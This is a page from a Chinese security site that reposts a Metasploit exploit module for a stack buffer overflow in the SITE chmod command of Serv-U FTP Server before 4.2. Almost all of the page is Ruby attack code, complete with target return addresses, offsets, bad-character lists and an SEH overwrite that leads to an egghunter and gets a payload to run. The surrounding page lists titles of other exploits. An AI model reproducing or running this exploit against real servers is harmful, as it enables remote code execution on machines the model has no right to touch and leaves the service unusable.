首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Serv-U FTP Server <4.2 Buffer Overflow
来源:http://www.metasploit.com 作者:thelightcosine 发布时间:2011-12-05  

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Serv-U FTP Server <4.2 Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the site chmod command
    in versions of Serv-U FTP Server prior to 4.2.

    You must have valid credentials to trigger this vulnerability. Exploitation
    also leaves the service in a non-functional state.
   },
   'Author'         => 'thelightcosine <thelightcosine[at]metasploit.com>',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2004-2111'],
     [ 'BID', '9483'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
     'DisableNops' => true,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP0-4 EN', {
      'Ret'    => 0x750212bc, #WS2HELP.DLL
      'Offset' => 396 } ],
     [ 'Windows XP SP0-1 EN', {
      'Ret'    => 0x71aa388f, #WS2HELP.DLL
      'Offset' => 394 } ]
    ],
   'DisclosureDate' => 'Dec 31 2004',
   'DefaultTarget'  => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end


 def exploit
  connect_login

  eggoptions =
  {
   :checksum => true,
   :eggtag => "W00T"
  }

  hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)


  buffer = "chmod 777 "
  buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
  buffer << egg
  buffer << hunter
  buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter
  buffer << [target.ret].pack('V') #seh
  buffer << rand_text(5000)

  print_status("Trying target #{target.name}...")

  send_cmd( ['SITE', buffer] , false)

  handler
  disconnect
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ipswitch TFTP Server Directory
·CCMPlayer 1.5 Stack based Buff
·Hillstone Software HS TFTP Ser
·NJStart Communicator MiniSmtp
·Avid Media Composer 5.5 - Avid
·linux/x86-64 execve(/bin/sh) 5
·[0day]Microsoft Works 7 WkImgS
·Family Connections CMS v2.5.0-
·CoDeSys SCADA v2.3 Remote Expl
·StoryBoard Quick 6 Stack Buffe
·Final Draft 8 Multiple Stack B
·ms11-046 webshell 下exp 自己加
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved